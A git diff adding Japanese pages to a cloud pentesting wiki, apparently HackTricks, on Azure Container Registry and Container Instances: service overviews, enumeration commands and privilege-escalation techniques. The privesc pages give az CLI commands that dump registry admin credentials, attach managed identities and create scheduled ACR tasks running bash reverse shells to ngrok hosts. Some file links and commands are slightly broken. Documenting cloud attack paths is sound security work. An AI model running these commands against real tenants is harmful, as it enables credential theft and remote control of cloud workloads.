diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 000000000..f1d4a3615 Binary files /dev/null and b/src/images/registry_roles.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md new file mode 100644 index 000000000..39c87da68 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md @@ -0,0 +1,64 @@ +# Az - Azure Container Instances Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances + +詳細については、次を確認してください: + +{{#ref}} +../az-services/az-container-instances.md +{{#endref}} + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +これらの権限により、ユーザーは実行中のコンテナ内で**コマンドを実行**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に**権限を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。 + +`ls`を実行して出力を取得するのは、次のように簡単です: +```bash +az container exec --name --resource-group --exec-command 'ls' +``` +コンテナの**出力を読み取る**ことも可能です: +```bash +az container attach --name --resource-group +``` +ログを取得するには: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +これらの権限は、**ユーザー管理のアイデンティティを**コンテナー グループにアタッチすることを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 + +ユーザー管理のアイデンティティをコンテナー グループにアタッチするには: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナー グループを作成または更新**することを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +さらに、既存のコンテナグループを更新し、例えば**`--command-line`引数**を逆シェルで追加することも可能です。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..68c001461 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +詳細については、次を確認してください: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +この権限により、ユーザーはACRの管理者資格情報を一覧表示できます。これは、レジストリに対して**完全なアクセス**を取得するのに役立ちます。 +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +管理者資格情報が有効でない場合、次のコマンドを使用してそれらを有効にするために、`Microsoft.ContainerRegistry/registries/write`の権限も必要です: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +これらの権限により、ユーザーは**レジストリにアクセスするためのパスワードを持つ新しいトークンを作成**できます。 + +次の例のように`az cli`を使用して生成するには、`Microsoft.ContainerRegistry/registries/read`、`Microsoft.ContainerRegistry/registries/scopeMaps/read`、`Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`、`Microsoft.ContainerRegistry/registries/tokens/read`の権限も必要です。 +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +これらの権限は、ユーザーがレジストリ内で**イメージをビルドおよび実行する**ことを許可します。これは、コンテナ内で**コードを実行する**ために使用できます。 + +>[!WARNING] +> ただし、イメージは**サンドボックス環境**で実行され、**メタデータサービスへのアクセスなし**で実行されます。これは、コンテナが**インスタンスメタデータ**にアクセスできないことを意味するため、特権を昇格させるにはあまり役に立ちません。 +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +これは、レジストリ内でタスクを作成および更新することを許可する主要な権限です。これは、**管理されたアイデンティティが付与されたコンテナ内でコードを実行する**ために使用できます。 + +これは、**システム管理**アイデンティティが付与されたコンテナ内でリバースシェルを実行する方法の例です: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +タスクから外部リポジトリを使用せずにRCEを取得する別の方法は、`az acr task create`コマンドを`--cmd`フラグと共に使用することです。これにより、コンテナ内でコマンドを実行できます。例えば、次のコマンドでリバースシェルを実行できます: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> システム管理アイデンティティを割り当てるには特別な権限は必要ありませんが、レジストリで事前に有効にされ、役立つためのいくつかの権限が割り当てられている必要があります。 + +**ユーザー管理アイデンティティを割り当てるには**、`Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` の権限が必要です。 +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +既存のタスクのリポジトリを**更新**するには、次のようにします: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +この権限を使用すると、**ローカルに画像がなくてもazureレジストリに画像をインポート**することが可能です。ただし、**すでにレジストリに存在するタグを持つ画像をインポートすることはできません**。 +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +特定のイメージタグをレジストリから**タグ解除または削除**するには、次のコマンドを使用できます。ただし、実行するには**十分な権限**を持つユーザーまたはトークンが必要です: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..63dd997f9 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,47 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +Azure Container Instances (ACI) は、Azure クラウドで **コンテナ** を実行するための **サーバーレスでオンデマンドな方法** を提供します。単一または複数のコンテナを **スケーラブルなコンピュート**、**ネットワーキングオプション**、および **他の Azure サービス**(ストレージ、仮想ネットワーク、またはコンテナレジストリなど)に接続する柔軟性を持つグループで **デプロイ** できます。 + +これらは **エフェメラル** なワークロードであるため、基盤となる VM インフラストラクチャを管理する必要はありません — Azure がそれを処理します。しかし、**攻撃的セキュリティの観点**からは、**権限**、**アイデンティティ**、**ネットワーク構成**、および **ログ** が攻撃面や潜在的な誤設定を明らかにする可能性があることを理解することが重要です。 + + +### 構成 + +- コンテナを作成するには、パブリックイメージ、Azure Container Registry からのコンテナイメージ、または外部リポジトリを使用することができ、これには **アクセスするためのパスワードを設定する必要がある** かもしれません。 +- ネットワーキングに関しては、**パブリック IP** を持つことも、**プライベートエンドポイント** であることもできます。 +- 一般的な Docker 設定を構成することも可能です: +- **環境変数** +- **ボリューム**(Azure Files からも) +- **ポート** +- **CPU とメモリの制限** +- **再起動ポリシー** +- **特権として実行** +- **実行するコマンドライン** +- ... + + +## 列挙 + +> [!WARNING] +> ACI を列挙する際には、**環境変数**、**ネットワークの詳細**、または **管理されたアイデンティティ** などの機密構成を明らかにする可能性があります。それらをログに記録したり表示したりする際は注意してください。 +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..fc442f13c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスするための安全でプライベートなレジストリ**です。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。 + +### 権限 + +これらは、Container Registry に対して付与できる**異なる権限**です [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): + +- アクセス リソース マネージャー +- レジストリの作成/削除 +- イメージのプッシュ +- イメージのプル +- イメージデータの削除 +- ポリシーの変更 +- イメージの署名 + +また、割り当て可能な**組み込みロール**もあり、**カスタムロール**を作成することも可能です。 + +![]() + +### 認証 + +> [!WARNING] +> レジストリ名に大文字が含まれていても、**小文字**を使用してログイン、プッシュ、プルすることが非常に重要です。 + +ACR に認証する方法は 4 つあります: + +- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに**資格情報**を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境でこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、認証するにはユーザー名として `00000000-0000-0000-0000-000000000000` を使用します。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスできます。この方法は、いくつかの Azure サービスが使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名(`admin` ではなく)です。 +- **トークンを使用**: **特定の `scope map`**(権限)を持つ**トークン**を作成してレジストリにアクセスすることができます。次に、このトークン名をユーザー名として使用し、生成されたパスワードのいずれかを使用してレジストリに認証します。例: `docker login -u -p aregistry-url` +- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることができます。次に、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して**レジストリにログイン**できます。 + +レジストリへのアクセスを持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) からの例スクリプト: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### 暗号化 + +**Premium SKU** のみが、画像やその他のアーティファクトの **静止状態での暗号化** をサポートしています。 + +### ネットワーキング + +**Premium SKU** のみが **プライベートエンドポイント** をサポートしています。他のSKUは **パブリックアクセス** のみをサポートしています。パブリックエンドポイントの形式は `.azurecr.io` で、プライベートエンドポイントの形式は `.privatelink.azurecr.io` です。このため、レジストリの名前はすべてのAzureで一意である必要があります。 + +### Microsoft Defender for Cloud + +これにより、レジストリ内の **画像をスキャン** して **脆弱性** を検出できます。 + +### ソフトデリート + +**ソフトデリート** 機能により、指定された日数内に **削除されたレジストリを復元** できます。この機能は **デフォルトで無効** です。 + +### ウェブフック + +レジストリ内に **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:*' はリポジトリ 'foo' の下のイベントを意味します。 + +攻撃者の視点からは、レジストリ内で **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。 + +### 接続されたレジストリ + +これは基本的に、通常はオンプレミスにある別のレジストリから **画像をミラーリング** することを可能にします。 + +2つのモードがあります: **ReadOnly** と **ReadWrite**。最初のモードでは、画像はソースレジストリからのみ **プル** され、2番目のモードでは、画像をソースレジストリに **プッシュ** することもできます。 + +クライアントがAzureからレジストリにアクセスするためには、接続されたレジストリが使用されるときに **トークン** が生成されます。 + +### 実行とタスク + +実行とタスクは、通常ローカルまたはCI/CDパイプラインで行う必要があるAzureコンテナ関連のアクションを実行することを可能にします。例えば、レジストリ内で **画像をビルド、プッシュ、実行** できます。 + +コンテナをビルドして実行する最も簡単な方法は、通常の実行を使用することです: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +しかし、それは攻撃者の視点からはあまり興味深くない実行をトリガーします。なぜなら、それらには管理されたアイデンティティが付いていないからです。 + +しかし、**タスク**には**システムおよびユーザー管理アイデンティティ**を付けることができます。これらのタスクは、コンテナ内で**権限を昇格させる**のに役立ちます。権限昇格のセクションでは、タスクを使用して権限を昇格させる方法を見ることができます。 + +### キャッシュ + +キャッシュ機能は、**外部リポジトリから画像をダウンロード**し、新しいバージョンをレジストリに保存することを可能にします。これは、Azure Vaultから資格情報を選択することで、いくつかの**資格情報を設定**する必要があります。 + +これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**外部プラットフォームにピボット**することを可能にし、**外部リポジトリから画像をダウンロード**し、キャッシュを設定することは**持続メカニズム**としても使用できるからです。 + +## 列挙 + +> [!WARNING] +> レジストリ名に大文字が含まれていても、アクセスするためのURLには小文字のみを使用することが非常に重要です。 +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## 権限昇格とポストエクスプロイト + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}